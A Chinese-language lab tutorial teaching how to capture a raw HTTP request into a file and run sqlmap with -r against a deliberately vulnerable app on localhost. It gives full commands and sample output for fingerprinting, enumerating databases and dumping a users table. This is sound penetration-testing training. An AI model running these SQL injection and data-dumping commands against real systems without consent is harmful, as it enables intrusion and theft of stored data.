引言
在本实验中,你将学习一种强大的技术,使用流行的开源渗透测试工具 sqlmap 来检测 SQL 注入漏洞。你无需直接提供目标 URL,而是使用 Burp Suite 或 ZAP 等代理工具捕获完整的 HTTP 请求,将其保存到文件,然后指示 sqlmap 使用该文件进行扫描。这种方法在处理复杂请求(例如,包含多个参数的 POST 请求、自定义标头或身份验证令牌)时特别有用,或者当你希望重放特定请求而不手动重新构建它时。通过本实验的学习,你将能够熟练运用捕获的 HTTP 请求,以更精确和灵活的方式使用 sqlmap 进行 SQL 注入测试。
使用 Burp Suite 或 ZAP 捕获完整的 HTTP 请求
在此步骤中,你将学习如何使用 Web 代理工具捕获完整的 HTTP 请求。虽然 Burp Suite 和 ZAP 是常见的选择,但为了简化并在本次基于终端的实验中避免 GUI 的复杂性,我们将通过直接为易受攻击的 Web 应用程序构建原始 HTTP 请求来模拟捕获请求。
首先,让我们确保我们的模拟易受攻击的 Web 应用程序是可访问的。打开一个新的终端,并使用 curl 向其发出请求。
curl http://localhost/sqli_test/index.php?id=1
你应该会看到类似以下的输出,确认应用程序正在运行:
id: 1 - Name: Alice<br>
现在,我们将手动创建一个 sqlmap 可以使用的原始 HTTP 请求。此请求将针对易受 SQL 注入攻击的 id 参数。
nano ~/project/request.txt
将以下内容粘贴到 request.txt 文件中。这代表了一个发送到我们易受攻击应用程序的简单 GET 请求。
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
通过按 Ctrl+X,然后按 Y 确认,最后按 Enter 保存到 request.txt 来保存文件。
将原始请求保存到文本文件(例如 request.txt)
在上一步中,你已经创建并将原始 HTTP 请求保存到了 ~/project/request.txt。该文件现在包含了 sqlmap 理解目标及其交互方式所需的所有必要信息,包括 HTTP 方法(GET)、路径(/sqli_test/index.php)、参数(id=1)以及各种 HTTP 标头。
要确认文件内容,你可以使用 cat 命令:
cat ~/project/request.txt
输出应显示你粘贴的精确 HTTP 请求:
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
此 request.txt 文件现在已准备好供 sqlmap 使用。
使用 -r 标志加载请求文件
在此步骤中,你将了解 sqlmap 中的 -r 标志。-r 标志告诉 sqlmap 从指定文件加载 HTTP 请求,而不是直接在命令行中指定 URL。这对于扫描复杂请求或重放捕获的流量至关重要。
使用 -r 标志的基本语法是:
sqlmap -r < request_file > [options]
其中 <request_file> 是包含你的原始 HTTP 请求的文件的路径。在我们的例子中,这将是 ~/project/request.txt。
在运行完整扫描之前,让我们进行一个简单的测试,以确保 sqlmap 可以正确解析该文件。我们将使用 --url 选项指定一个模拟 URL,仅为了满足 sqlmap 对目标的必需项,但实际请求将来自文件。这是使用 -r 时的一种常见做法。
sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint
--fingerprint 选项尝试识别后端数据库管理系统(DBMS)。如果 sqlmap 成功处理了请求文件,它将开始其指纹识别过程。系统可能会提示你输入问题;对于本次实验,你通常可以通过按 Enter 或 y 来接受默认选项。
你应该会看到 sqlmap 开始其过程,表明它正在从文件中读取。查找类似以下的输出:
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r18600)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:34:56 /2023-10-27/
[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...
这证实了 sqlmap 正在正确地从 request.txt 加载请求。
使用 sqlmap -r request.txt 执行扫描
现在你已经了解了如何加载请求文件,是时候使用 -r 标志的 sqlmap 执行一次完整的 SQL 注入扫描了。我们将使用一些常用选项来提高扫描的有效性。
命令将是:
sqlmap -r ~/project/request.txt --batch --dbs
让我们分解一下这些选项:
-r ~/project/request.txt: 从request.txt文件加载 HTTP 请求。--batch: 以非交互模式运行sqlmap,自动回答大多数提示为“是”。这对于脚本编写或当你了解预期情况时很有用。--dbs: 枚举数据库管理系统(DBMS)的数据库。这是发现可用数据库的常见第一步。
执行命令:
sqlmap -r ~/project/request.txt --batch --dbs
sqlmap 现在将开始其扫描过程。它将针对请求中的 id 参数测试各种 SQL 注入技术。由于我们的模拟应用程序存在漏洞,sqlmap 最终应该能够识别漏洞并列出可用的数据库。
当 sqlmap 执行测试时,你将看到大量输出。查找指示检测到漏洞和枚举数据库的行。
示例输出片段:
...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...
此输出确认 sqlmap 成功识别出 id 参数存在漏洞,并找到了我们在设置中创建的 testdb 数据库。
验证扫描是否正确地从文件中定位了目标参数
在最后一步中,我们将确认 sqlmap 是否已从我们的 request.txt 文件中正确识别并定位了 id 参数。这对于确保你的捕获请求被按预期解释至关重要。
当 sqlmap 启动时,它通常会识别出可注入的参数。你可以在上一步的输出中观察到这一点。具体来说,查找提及“GET parameter 'id' appears to be... injectable”的行。
为了进一步验证,让我们尝试从 testdb 数据库中的一个表中转储数据。我们将使用 --dump 选项,并指定数据库和表。
首先,让我们列出 testdb 中的表:
sqlmap -r ~/project/request.txt --batch -D testdb --tables
你应该会看到 sqlmap 识别出 users 表:
...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...
现在,让我们从 users 表中转储数据:
sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump
此命令指示 sqlmap 使用从 request.txt 加载的请求,转储 testdb 数据库中 users 表的所有条目。
你应该会看到 users 表中的数据,这证实了 sqlmap 已成功通过你捕获请求中指定的 id 参数利用了 SQL 注入漏洞来提取数据:
...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
...
这证实了 sqlmap 已正确解析了 request.txt 文件,识别了 id 参数,并通过 SQL 注入漏洞成功提取了数据。
总结
在本实验中,你已成功学会如何利用 sqlmap 强大的 -r 标志,通过捕获的 HTTP 请求文件来扫描 SQL 注入漏洞。你首先理解了捕获原始 HTTP 请求的概念,然后手动创建了一个 request.txt 文件,该文件代表了一个对易受攻击应用程序的 GET 请求。接着,你使用了 sqlmap -r request.txt 来发起扫描,首先是数据库指纹识别,然后是数据库枚举和从特定表中转储数据。这种方法提供了巨大的灵活性,使你能够测试复杂的场景,重放特定的流量,并将 sqlmap 更无缝地集成到你的 Web 应用程序渗透测试工作流程中。掌握这项技术是任何安全专业人士或爱好者的宝贵技能。


